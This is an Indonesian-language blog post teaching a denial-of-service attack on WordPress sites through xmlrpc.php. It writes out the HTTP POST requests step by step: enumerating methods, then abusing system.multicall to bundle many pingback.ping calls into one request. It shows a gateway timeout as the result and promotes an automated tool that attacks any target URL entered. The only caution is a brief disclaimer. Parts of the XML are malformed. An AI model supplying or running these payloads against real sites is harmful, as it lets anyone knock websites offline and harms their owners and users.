Kembali lagi dengan daffa.info, di post ini saya akan membagikan teknik penyerangan Denial of Service pada xmlrpc.php WordPress. Sebelumnya saya pernah membagikan cara denial of service melalui wp-admin/load-styles dan wp-admin/load-scripts.php. Sebelum membahas lebih lanjut, mari kita kenali dulu apa itu serangan denial of service.

Denial of Service atau yang biasa dipanggil DoS telah ditemukan di platform CMS WordPress yang dapat memungkinkan siapa saja untuk menghapus sebagian besar situs web WordPress bahkan dengan satu mesin tanpa memukul dengan sejumlah besar bandwidth. Sebenarnya penyerangan ini sudah tersebar di internet, tetapi belum ada yang menjelaskan secara rinci alur DoS pada xmlrpc.php.

Sedangkan XML-RPC adalah fitur WordPress yang memungkinkan data agar dapat ditransmisikan, di mana HTTP berperan sebagai transport dan XML sebagai encoding. Karena WordPress bukanlah sistem yang self-enclosed dan terkadang harus berkomunikasi dengan sistem lainnya, maka fitur ini sering digunakan.

Tetapi, saat ini ada beberapa masalah yang terjadi ketika XML-RPC berjalan di WordPress, seperti pelaku penyerang yang memanfaatkan file ini untuk melakukan Denial of Service, bruteforce, dan XSPA.

Tak perlu basa-basi lagi, berikut cara Denial of Service melalui xmlrpc.php, caranya mirip dengan XSPA WordPress

  • List semua method yang ada pada xmlrpc.php

Disini saya menggunakan POST data

POST /xmlrpc.php HTTP/1.1
 Host: example.com
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Connection: close
 Cookie: __cfduid=d0c900xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 Upgrade-Insecure-Requests: 1
 Cache-Control: max-age=0
 Content-Length: 97

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodcall

Jika sudah, maka akan keluar seperti ini

<?xml version"1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string> system.listMethods</string></value> 
<value><string> system.getCapabilities</string></value> 
<value><string> demo.addTwoNumbers</string></value> 
<value><string> demo.sayHello</string></value> 
<value><string> pingback.extensions.getPingbacks</string></value> 
<value><string> pingback.ping</string></value> 
..........

Fokus pada pingback.ping dan system.multicall, kegunaan system.multicall ini bisa menjalankan multiple method dengan hanya 1 request saja. system.multicall berguna jika ingin mendelete banyak comment atau post. Mari gabungkan system.multicall dengan pingback.ping

 POST /xmlrpc.php HTTP/1.1
 Host: example.com
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Connection: close
 Cookie: __cfduid=d0c90041xxxxxxx
 Upgrade-Insecure-Requests: 1
 Cache-Control: max-age=0
 Content-Length: 357 

<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member>
<name>methodName</name>
<value>pingback.ping</value>
</member>

<member>
<name>params</name><value><array><data>
<value>http://example.com/1</value>
<value>https://exampler.com/?p=1</value>
</data></array></value>
</member>

 <member>
<name>params</name><value><array><data>
<value>http://example.com/2</value>
<value>https://exampler.com/?p=2</value>
</data></array></value>
</member> 

Contoh diatas hanyalah 2 pingback, perlu diingat bahwa system.multicall bisa menjalankan multiple method, jadi bisa dibayangkan kalau ada 5000 pingback dengan 1 http request.

bad things
Contoh 504 Gateway Time-Out

Tapi tenang, disini saya akan memberi tools untuk serangan yang saya jelaskan diatas WordPress DoS Jadi dengan tool ini kita hanya dengan memasukkan website target kita, tools ini akan bekerja dengan sendirinya.

Tampilan Tool Denial of service

*Jangan melakukan serangan ini secara illegal, resiko ditanggung masing-masing

Sekian post kali ini, Terima kasih telah berkunjung 🙂